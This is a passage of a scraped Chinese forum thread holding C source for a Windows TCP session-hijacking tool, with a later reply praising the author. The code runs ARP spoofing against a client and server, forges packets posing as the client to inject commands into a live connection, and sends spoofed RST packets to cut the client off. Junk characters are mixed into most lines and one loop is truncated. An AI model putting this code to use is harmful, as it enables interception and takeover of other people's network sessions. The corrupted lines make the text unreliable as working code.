$ F" c1 {( u  T% x! i9 ^; G$ c          //reset action flag / \8 x4 w+ n0 W
         ResetActionAllFlag(); 6 R9 H3 r! }. a: e3 X
      }
3 i$ T; T3 `; {       }
) [( e' h( [$ R8 e       //show the tcp data
, I5 C3 K" D$ ~% j0 t; y+ e; T       if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
% X, l. L6 x, J; \. o       { 8 X; ^, i. J- ~- q0 g  m+ z& K
      ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); * z" e- z$ ~5 z. W/ J7 ^
      //暂不考虑IP、TCP头不是20字节的情况 0 e$ r" a$ W4 P# M, ?. T8 l$ f% U" A
      //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
9 n" R" ~9 t8 D7 L! n! {3 |* U       pStr = (char *)pTCPPacket + 54; . f& w# w2 s+ b9 ?
      for(i=0; i       }
- m. N( D. a" P* Y7 }" _& }    }
. `5 w, ?9 Q& H    //debug output
7 U# V( H3 g! f6 T- H, e/ D    //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
* v; F4 L4 F% r5 e$ m) k }//end of analyse packets while
3 }1 {8 {; A! `5 C+ i' R6 c. Z* G  }//end of recv packets while
+ }& D. O& a5 C5 C. {  Y7 f  PacketFreePacket(lpRecvPacket);
! Q9 g: u: E2 R: m4 U4 g3 I' Y& Z: p  return 0; $ v/ b  l) O* }' F
}
& u# B' O* \$ i+ V, J6 b7 S3 a) j9 T) N* Q
3 f3 W4 D; X" X6 f
//
8 k# C  e- w6 Z//功能：操作记录所有连接信息的单向链表 ( ^/ r# }6 o! T1 z0 Q
// " s4 r$ |1 f+ c8 T8 O. y' [8 R
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
2 A1 Q' d7 m5 M) R          USHORT uClientPort, BOOL bDelete, BOOL bAddNew) 1 b4 T/ U8 V9 D4 I2 j# V
{ # l6 ~8 F& o% L8 S" Q
  PCONNINFO  pNew, pTmp; 0 Y9 T% J' ]; H6 k. P7 r
2 y+ @9 Y; q  \. s* O1 q/ h1 ^
  pTmp = g_pConnHead; 0 t! E! ?& Q8 n0 F1 {6 F3 D
  while(pTmp) 3 [0 _6 d4 L8 }
  {
. Z) z* D, G8 F  X- h: h3 g if(pTmp->bActive)
. A, y8 z" Z& u+ E0 e' i; X/ G, S {
. S" f0 j& _9 I+ l( c6 v2 B* w8 D5 I    //found it
" @$ i1 _( e) ]    if( (pTmp->dwServerIP == dwServerIP) &&
" d8 R1 o) X" S3 M       (pTmp->uServerPort == uServerPort) &&
" W+ m; F/ o$ c       (pTmp->dwClientIP == dwClientIP) &&
9 X! K+ b, p5 z9 A; `- |% i! S  X       (pTmp->uClientPort == uClientPort) ) / ~* m' P/ _4 C" ~7 N* T
   { , ?3 x- J; M1 U8 o+ s# q
      if(bDelete)
$ c, D& J. t% k' O, m3 ^+ ]       { # a" B/ ~% A1 t) d' E. r- a
      pTmp->bActive = FALSE;
5 p5 X! ]  G0 k. ~3 J       return 0; 2 T4 J4 ?& b( Y( l7 b8 L
      }
" F& J% B7 E! ]! X8 b8 d       else return pTmp->ident; , w. d$ b& o" `7 X6 D
   }
9 X7 F+ M7 C. R1 n }
9 \* V0 D  F( V, g$ E2 u# N: \ pTmp = pTmp->Next; ! X) }' i: \' H- @' P' [
  }
$ K* K+ w( G6 d& K+ h3 I  //not found, create new node ; }/ z. \) r: m3 |# Q; \
  if( (!pTmp) && (!bDelete) && (bAddNew) ) & U; ]$ h: g% y1 ?) F; \) B) W( v
  {
2 S# q/ @0 @& d  Q- V* \2 L //search unactive note
4 k- l" R! J' S pTmp = g_pConnHead;
3 f( R8 P7 H% S while(pTmp) / Z- {0 Z' e; d* R
{
; }2 V$ F. s% f0 O: Z  ?    if(!pTmp->bActive) break; 1 h- L( o! S8 Z# O4 c2 c. `& g
   pTmp = pTmp->Next;
4 c2 Q: S; y/ T* Z- C } 8 [* S+ b, P/ G, X5 P6 K9 I
//found a unactive node
/ T3 N- ~% S5 M6 y9 t# s if(pTmp)
. E) h4 T  u" P {
/ }( i/ E' ^* ^' \% B8 |9 N: Z% J    pTmp->dwServerIP = dwServerIP;
! j3 {9 ^7 G1 c# X    pTmp->uServerPort = uServerPort; 7 e6 q+ p8 v) }7 u: D" V6 v% N" S  X! ^; f
   pTmp->dwClientIP = dwClientIP;
- {# T  y+ p) Z: k. z6 J5 [    pTmp->uClientPort = uClientPort; ' D1 _0 J% }8 `7 ?" U, {
   pTmp->bActive = TRUE;
, U( L0 |1 D$ t! U3 a    return pTmp->ident; 6 z: u* z4 \) J9 H0 w' [
} # X" C3 P( W. r! b
//not found,create new node
- d6 Q4 D* ?6 Q, j* f( y pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); & Q# p! ?7 i, O4 n
if(!pNew) ) F# ^; E  B: h1 l9 |
{ " }) {0 t$ ~5 X/ \1 ~
   printf("malloc for link node error:%d\n", GetLastError());
1 E. X0 D0 p  j2 w3 i    return 0;
! o' k1 H/ H# @! P# i9 d }
& R( N  j) H+ U6 j //fill the struct 6 I$ h& P( e! v! X; L" F1 ]
pNew->bActive = TRUE;
: l9 z# \! P8 T( q$ M pNew->dwServerIP = dwServerIP;
; P0 p! X0 T3 S pNew->uServerPort = uServerPort; - J  \: ~* B' ?7 o# @% l2 H& a
pNew->dwClientIP = dwClientIP;
  W( N# d7 S" S/ ]) |/ a+ Y pNew->uClientPort = uClientPort; ' ]5 h2 q7 ^% r* b1 H# w: f# n+ b
pNew->ident = ++g_ident; ; x7 B3 a* a5 y, Y. J% H
pNew->Next = NULL; " T: R3 c  @2 F/ _/ o& J1 i; s5 M- R
//add new node to link 3 r7 X' v, Q) p) x5 r& c8 d) I, _
if(!g_pConnHead) 1 ]/ r$ Z+ s. h2 E
   g_pConnHead = g_pConnLast = pNew; ( f$ ?! ~3 u" K2 M1 w6 c
else
2 N& |( k% p5 v' b* B' U { ; d0 d: D  b& L( }% V
   g_pConnLast->Next = pNew; ; F) S* \) d  {9 c+ h) J6 I
   g_pConnLast = pNew;
: E  H, [/ M: H' `% S9 m }
% j9 t4 s" j1 k& V: b return pNew->ident; ( D; B( v! J% U4 {
  }
- f1 {$ G3 A6 n& T; x6 M5 ~  return 0;   L- k6 j. S/ e* j$ T1 o- `
} * J6 S3 A- c0 M* T  j, b: F7 o
/ q  F# K# ^* u/ A( U; g
//
% f$ K8 ~- d, H8 q, r//功能：判断一个数据包是不是只有ACK标志 ; W- s" @, n( Y3 }" A# A3 U
//
7 y. x, G6 A% mBOOL IsACKPacket(unsigned char flag)
( `3 ]* i$ N! h{
& I7 W) ^* u( f8 I' B0 G* q& G4 o  int  i, j=1; / f& ^2 s7 |* o5 ^9 e, d
  for(i=0 ; i<4; i++)
( f  x" L; u6 v; G, J& E2 U  {
6 W& E) Z3 x3 y; F4 } if(flag & j) return FALSE;
9 g0 \, p7 T" @2 t( ]9 Z9 r/ W j <<= 1;
3 y+ t# Z8 ?6 t  } # J3 C. E0 Q$ \6 c6 P! H
  if(!(flag & 0x10)) return FALSE;//is ack? 1 W: i/ |: V+ B- _
  if(flag & 0x20) return FALSE;
: Q( |8 a6 E' b  A  return TRUE;
; M3 n4 K. R. k) h0 Q/ ~6 y+ C}
, s8 I8 K- P. t9 L' v6 K* M! W5 m) g) F8 G. r; S9 s. N
// - s1 }- K. ]" k! t
//功能：伪装成Client给Server发送数据包
) g4 h. I4 g5 Q" E// ( v1 _9 l2 N% f  V
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
& P# c& Z! T. r# K  g6 g$ R  [/ E{ ; @! _6 y2 p- |' `; p

" {6 d8 u* p+ a2 H! A0 r+ p  char szBuff[1520];
7 Y) q: E: _1 d1 d( D0 B  PSDHDR psdhdr;
/ A* c  ^" k! @$ F- L1 m5 w9 z  PTCPPACKET  pHiJackPacket = NULL;
* s" i- m" k) G6 b  h  BOOL bRet = FALSE;
4 y! b9 n# T. T4 B: u4 r8 w& Z
! `2 n6 B1 b- z% G; W& \, M  __try 1 \; _+ r+ \; m
  {
! l8 G( R8 ~  V; C7 b) { // 9 i; a( S2 q" W# H/ s) t- J4 g: F- M
if(!g_pCurrCtrlConn) __leave; 4 J& c! N3 [- t/ f3 T4 G) q0 X
//allocate memory for hijack packet
5 |) v* k) j- s pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); ) L1 o; W) g9 V7 p6 T# F
if(!pHiJackPacket) & z/ u' M0 d0 Y3 C( u# \
{
' p! w/ @9 [8 Z7 O3 Q, d4 w    printf("malloc error:%d\n", GetLastError()); , P; D. u5 T. B1 A: a) C! ]
   __leave; 6 l4 Q& v$ B' E7 H! @3 M
} ; t; N+ G; ]$ O
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
2 h4 x! [2 I6 N% H! B# r# { //-------------- modify the packet ---------------//
: ^% Z* N7 v+ Q //modify ethernet head
+ j/ q  n% A$ {* u; E memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
- Y; e1 R( M# {6 Y2 D memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); / F+ g) j, N2 ?8 U+ @/ T! N8 C& |
//modify ip head
' X1 ^* `% N- x3 I  k( B+ K& T pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
" _% G$ |- b/ {  b9 Q( c& ? pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
3 K0 M, ^6 L' ]: `+ Q' |+ W8 X pHiJackPacket->iphdr.ident += 1;//标识加1
1 f/ B9 j; _) n0 O* D pHiJackPacket->iphdr.checksum = 0;
1 h: v7 C) X8 U# `+ u9 r) Y: S pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址，伪装成client
% _, X: J7 [0 r8 \0 J/ {0 T6 ` pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址，接收hijack包的地址
+ P1 ?! j! y" k1 E; Z/ _ //modify tcp head
  k3 w9 b. l  G: P pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port , M5 E* b  x7 k" @
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port , a  v' w7 Q, R! l7 a0 Q# v" z" h, n
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
7 g% B* O! M/ I! ~! Y, ~! W) S pHiJackPacket->tcphdr.th_flag = 0x18;// PA 2 |- V! E. V2 R! f
pHiJackPacket->tcphdr.th_sum = 0; 5 X4 i2 l/ S7 U( `# h: [
pHiJackPacket->tcphdr.th_win = 0x3F44; , H( a( t+ h! p# H
//fill tcp psd head 4 n( X; Y# B3 _! E
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
3 [7 j% y; W6 v: m; U3 u6 Y psdhdr.daddr = pHiJackPacket->iphdr.destIP;          & _7 ^! k( J7 k; v
psdhdr.mbz = 0; ) x6 ]( i3 g4 }, y7 k
psdhdr.ptcl = IPPROTO_TCP; 6 ?& B9 z2 A4 [4 L
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
% E# r& G3 m3 j //calculate tcp checksum
0 a6 y" t$ [: [7 f8 y* O memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); ' X7 h7 l" m) m3 W
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); : w* U; g1 E8 g$ y$ h
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
3 g* w4 }: x6 u- j pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); , z. z( L; n1 U/ ^' Z' J
//calculate IP checksum 8 u3 [+ G8 \4 Z' j" S5 Q
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); " C9 R+ p: Z# y$ T& v
//fill send buffer
% Q9 F9 i5 \7 i7 Y7 \/ e" `7 h8 G9 H9 p memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
  }9 R+ x. G2 v memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 P! e; f3 Z$ k* i& ~% T, L memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 4 W; u% O$ K( I9 S8 L9 o+ V- ~
memset(g_lpSendPacket->Buffer, 0, 1514); . C' i. r5 D# @* L2 G
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 3 d9 }( f5 \7 L6 v/ v
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ) w- |/ s; s4 q; j& p( r
{
1 o* T$ G* Y* W( M7 \6 z    printf("Error sending the hijack packets!\n"); ! O1 u/ z6 _1 S+ W- k6 Q
   __leave; 6 |% P& F: X4 R: H4 U
} 0 s) M  w2 j2 _; w
else printf("Send hijack packet ok!\n"); ! I& r  t( a2 H) m
bRet = TRUE;
; i9 Y+ I" G& o, [/ h7 t  }
作者: 韩冰 时间: 2004-11-21 01:47
__finally
' J5 k& A) Q; R) S3 {, R9 Q; i( _' a  {
$ j4 s2 |; D' P, ]$ C" u" ? if(pHiJackPacket) free(pHiJackPacket);
) A4 R" f' J3 v" v8 i6 ~" p  V8 W  }
3 ~5 |8 ~$ U/ R( t, S7 F4 a  return bRet;
6 }% s! F  B, ^  {: P% @}
( u; e/ s9 B+ C
8 ]6 q1 Q2 X& a5 [
& p% E) ?; t7 s. R2 o// / O2 x; G, ]- w3 X; E8 r
//功能：伪装成Server给Client发送rst包
4 Z  w8 Z+ y' ~% |//
) B1 y7 M9 [' u& ~" m6 ABOOL SendRstPacket(unsigned int seq, unsigned int ack) 9 E& B1 i+ h; \8 a8 Y
{ 6 B) h3 q  R* W9 {$ i
  char szBuff[60];
0 w: w7 o, l0 q9 ]+ }8 h- t+ Z' A  PSDHDR psdhdr; 3 c' Q" c! `" ^( \! u5 f
  PTCPPACKET  pTcpPacket = NULL;
$ P  m- |$ X/ [3 E- B  BOOL bRet = FALSE; 5 v* A0 g. W. m% O# N. n
- P; [0 k& `% z9 @" ]# W
  __try
; D# j+ O* x$ L3 Y# n! n. d; e5 b; `  {
  R3 `# ]1 A; o4 X" W' C2 v5 c& a //检查当前指向想控制的连接的信息的指针是否为空
6 E- s. e9 m) C; y# @3 F; q9 N if(!g_pCurrCtrlConn) __leave;
4 O; W- d5 a1 ^# _: R5 q //allocate memory for rst packet
  [  k! v5 j# u, k pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 G: u3 l9 A- h* { if(!pTcpPacket)
" N3 {1 n  ~' i" `3 \+ A" a {
# L  h7 [0 ^6 m" j1 p    printf("malloc error:%d\n", GetLastError());
" P6 o5 |" u6 h$ U# Z    __leave; # ]1 P8 f6 q; s; k; C4 N9 M5 I
} 3 C5 H- J4 z3 Q) |+ N- F) M
//fill ethernet head
% Q/ u7 H* X3 w1 a3 O7 Q3 {' ` memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6); 9 Q$ A. j: y- `! F7 o
memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
. U6 m% f+ ^( w) k9 r8 l* O) j pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
9 R' {9 c+ R3 v! ~ //fil ip head
. M# k! ?. N. M# \5 ]( d2 R pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
7 x& u. h9 R0 a3 k. d4 I pTcpPacket->iphdr.tos = 0;
2 a! B5 W# A5 I. h- R) s pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
( ^: S8 a0 f4 o9 `8 h) R, {# U8 E! T pTcpPacket->iphdr.ident = 1; 4 t( S9 Z, W4 k+ c
pTcpPacket->iphdr.frag_and_flags = 0; - c' `8 t. `) C. u) b
pTcpPacket->iphdr.ttl = 128;
- x) ^+ J/ ^; A* x; s5 E! } pTcpPacket->iphdr.proto = IPPROTO_TCP; ; Q( A  ]9 I0 w1 d7 d0 R
pTcpPacket->iphdr.checksum = 0;
. E- N, O  M3 V" {4 K2 K' m pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址，伪装成服务器的 ( }  G/ q% r& ?3 g. Z  p
pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
1 I2 F& D3 g) y: ] //fill tcp head 2 k! n+ Z% e4 t* Z) L8 \2 v: D% r
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号，伪装成服务器的端口
! ?2 G' o" C- Y+ z. D. E; H pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
* Z; L2 [# i- L( i2 i0 y: K4 `7 R pTcpPacket->tcphdr.th_seq = seq;//SYN ' n" V2 T8 O7 c. E8 h  X
pTcpPacket->tcphdr.th_ack = ack;//ACK
3 D9 H* S  i. c pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
: k( n" E  R4 ^% o% _ pTcpPacket->tcphdr.th_flag = 4;//RST flag ; u/ v  ~; A" c2 {- F' D2 V
pTcpPacket->tcphdr.th_win = 0;
; F6 g4 _" E8 n pTcpPacket->tcphdr.th_urp = 0; # C/ D/ \( n- o  l% `5 r) f, ^
pTcpPacket->tcphdr.th_sum = 0;
& O# u6 z9 Y* Q, n* G/ e //fill tcp psd head
) s3 u  {- L  j$ C2 ~, h# i9 Z! l psdhdr.saddr = pTcpPacket->iphdr.sourceIP;          $ O/ G: c- C  l* {+ L
psdhdr.daddr = pTcpPacket->iphdr.destIP;
9 V0 a1 q( \1 u; u, ^" X# T# E psdhdr.mbz = 0; 2 \" d% ?  t6 Z/ p. a* Z% D! O. _
psdhdr.ptcl = IPPROTO_TCP;
6 J: Z0 p& _* r6 c$ e: b8 T psdhdr.tcpl = htons(sizeof(TCPHDR)); 9 V$ f% ?  D3 r. g8 b; O+ X) S9 G
//calculate tcp checksum    8 L, p6 J5 d4 {2 D$ L7 o$ O
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); 9 b8 S" h# P- h: G
memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR)); * |- i+ Y5 m5 w+ ^: }% L8 ], u5 n! _
pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
$ _- l0 [+ g" e; ~* ?2 J- l //calculate IP checksum
+ g1 i1 I8 Z# h9 u% h+ v pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR)); : [; Z3 _5 z: a( R7 H8 P1 [
//fill send buffer   t/ D4 y* B. ~) P1 n6 l6 M' Z
memset(g_lpSendPacket->Buffer, 0, 1514); & l4 r, L5 s) J- [/ r6 b
memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 7 ^3 L  }5 q1 D  U+ `& x
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
# B7 L& k5 e4 f& l5 M6 a- \ { & k8 F' G) ^* q7 T7 K
   printf("Error sending the rst packets!\n");
; c" J+ q3 |1 {( R) v) N    __leave; ' p7 @& r0 e& m* E
} # V9 ]' m# ]7 u" ~) E1 o7 _# K
else printf("Send RST packet ok!\n");
& k) L( j9 ^5 g% X bRet = TRUE; : u4 V5 p8 y6 }8 A
  } - }3 f& `3 [4 N: {3 g. H3 @
  __finally . t- Y# A& y* H6 ^/ U& K7 M% j
  { . o! j: C: D0 F9 E' p
if(pTcpPacket) free(pTcpPacket);
1 T: C: H! O. j2 L  }
- k$ T& j4 D  @$ V9 c# w4 f# A& F2 E  return bRet;
5 u6 o8 m7 Y: Q% N2 S6 c}
! n. u( C6 q( Y4 u+ D9 ^. E" |3 L. R# V! I  D1 f9 ?$ q  W  X. q  a
// : V) m+ A% [) ?  ^( F( _$ N4 H
//功能：计算校验和 % G. y  s$ f( A
//   r& y4 t) s# C3 w& [) u; W
USHORT checksum(USHORT *buffer, int size) ; R3 d. m. R  J% t  ^
{ ! i0 ]% y5 c: E! X( h
unsigned long cksum=0;
- ?  [6 d/ m" a9 ~( V+ w5 T% I while(size >1) {
0 b1 V5 D) Y- E, e/ R: u  cksum+=*buffer++; + @- b% {* g8 `+ U- `% F
  size -=sizeof(USHORT);
2 Z4 p# B2 |5 ^6 v0 {* Q }
3 n& i9 K3 R$ O# i; j6 H if(size ) { 5 I; f: z0 q1 k3 a& C+ L( A( ^
  cksum += *(UCHAR*)buffer; ! n$ L. H! }4 X" n
}
8 v  B! |( ]! U/ A  d, U9 d cksum = (cksum >> 16) + (cksum & 0xffff); ! W7 i; y) l/ B0 l9 H
cksum += (cksum >>16); # m" h6 p% o" `- G9 K) ~3 B/ j6 D
return (USHORT)(~cksum);
9 x# r5 H, {: ?}
& ~& i1 Z$ {- Z  w7 M6 Z! O7 F6 n8 K
+ @/ r4 v7 q3 Q6 x& D//
7 L0 {2 }4 L  i//功能:实施ARP欺骗
: L0 J1 d1 U- q- r+ |//1 告诉ServerSide,ClientSide的mac是ownmac + a0 G; |' Z7 F. P3 w0 Y
//2 告诉ClientSide,ServerSide的mac是ownmac
  o" E! K3 [0 [3 Y4 \//
, o- l8 q7 M3 d! t7 P6 A3 V9 T1 \DWORD WINAPI ArpSpoofThread(LPVOID lpType) - n8 c8 |/ {) W0 y, \8 u: ~4 Q
{   n) Q. A2 w) K! `3 C* S$ B5 Q
  int  iType = *(int *)lpType;
4 a* s, H8 @; r& Y  ARPPACKET  ArpPacket;
: ~0 X) ^' N& W- _- E  LPPACKET  lpArpPacket; , V$ j; i3 z5 f/ s
  char szArpBuff[60]; 8 p* ~1 z) w4 f
1 n: ?8 J, c* G: Q) A0 @
  switch(iType)
5 y& T5 q/ `6 Z! Q2 A  {
& r/ i/ O, G2 O( a* Z1 }% \4 V case 1: , M( @& y5 w, G
   memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
( d" i: M% |& e' {3 w  \0 y    ArpPacket.arphdr.DestIP = g_ServerSideIP;
2 O  t) c8 a4 o# O% M8 }6 U$ P    ArpPacket.arphdr.SourceIP = g_ClientSideIP;
% `% l$ D2 f5 E4 E, t2 Y    break;
( @$ g  s& l. X" T2 R4 d5 u, l case 2: , V# @) p0 y, l+ ^7 K
   memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
% {( z5 ^! N/ g- w9 B, T    ArpPacket.arphdr.DestIP = g_ClientSideIP; ) |5 ^9 k3 T% Q+ L
   ArpPacket.arphdr.SourceIP = g_ServerSideIP; 2 _" U8 c6 Z' x* m* E- ?6 |
   break; - R% ]7 v& c) S/ E: p" a! O0 [
default:
3 ?0 X) m& h" @/ V    return 0; + U+ C" l. D2 b4 J' l
  } 8 Z, ]4 f1 J3 z! w; K1 b# ?
  //ethernet head $ j- ]( w; R% a4 a5 X
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
( V; F2 ]4 @* Z7 ^  Q) M  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type ! ~: D/ o; D' `/ _* e
  //arp head
- Q/ \7 y0 }0 H& \4 [0 j* T  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac   O& x; o$ o+ g* s
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
- A) @7 h/ g' c* K  ArpPacket.arphdr.HrdAddrlen = 6; ; R# G: R& r# O; e6 F- u/ f# k, B
  ArpPacket.arphdr.ProAddrLen = 4;
7 K6 x5 q: R) t* n3 p' O! N; ~* |  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
1 z+ |. F- h1 {  t  ArpPacket.arphdr.ProType = htons(EPT_IP); 1 Y7 q  b3 g6 ^" D! O2 `
  ArpPacket.arphdr.op = htons(2);//arp reply
8 y9 C9 B# @$ Y4 L6 f1 W! Y7 t# N% e. U" u# o! x: _
  lpArpPacket = PacketAllocatePacket(); 5 N( S8 u& S4 X* S5 b+ j* K
  if(lpArpPacket == NULL)
/ ^7 X+ {/ i5 s  { $ ]' U# P2 \8 m0 g2 H
printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); ; ?6 y0 I1 G$ F. j* ^- p
return 0; 6 v7 ^. Q: @) U# m2 r0 p. c4 [
  } % v5 a+ {9 h: }- ~2 F7 r
  memset(szArpBuff, 0, sizeof(szArpBuff)); 0 E6 {3 }, ?1 n- G5 g
  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET)); 7 f6 @$ Q6 T* a1 R$ u
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
; Y" g4 Q' ?( d, R8 Z; P$ r  //send arp packet + a9 g" ^* z7 x, Z
  while(1) . N& V5 _4 Y  ]* J2 G
  { 4 }: _" x( @" Q7 {
if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
. e3 Y( d1 d4 d  j! l8 J {
" Y1 F0 D' K6 E% @. @; d    printf("Error sending the arp spoof packets!\n");
9 @, N3 M" B6 e2 W, D    return 0;
* I7 N8 y* r1 o0 d3 G3 E }
5 ?3 B& \7 f: e) N  f Sleep(1000);
0 X' l$ L- l  |" i4 X0 U  } / h* B9 p' T1 N$ l
  return 0;
( @+ O9 p5 G7 s& f. V5 n& q6 c+ f} ( G$ i4 `- j5 v) m4 }6 U' w3 d
; v7 ~) s6 r) m8 m
// ! ^% Q7 Q$ A7 T/ _! {7 I3 c9 [5 }* B
//功能：输入IP取得对应的MAC地址
7 k9 ?) D4 ]' W' K- n" ]//
/ }1 m8 O' W. D. nBOOL GetMACAddr(DWORD DestIP, char *pMAC) 6 D6 a( I) v' W! Y& {1 M4 x' o
{ 2 t$ u- p3 _1 S
  DWORD  dwRet;
% y) M4 c! f1 g% ~/ l) M5 j  ULONG  ulLen = 6, pulMac[2]; : G) @7 Z: B* ]" ^
  dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
4 g5 d) v% P- o/ Q: [0 b9 f' R  if(dwRet == NO_ERROR)
3 c0 g, F+ _$ ~  L; A7 Q6 C9 d  {
# d: L5 Z2 W# P6 c) k8 v: n4 K memcpy(pMAC, pulMac, 6); / c9 t$ x2 N, J2 u
return TRUE; , i. P: v* s3 |2 I& ^
  }
) L* O1 O$ t6 Z3 V6 o  else return FALSE; 5 H$ B6 i7 i1 q" s" \$ j7 a  D
}
作者: wy617958197 时间: 2014-9-4 20:48
大侠好厉害啊

欢迎光临数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5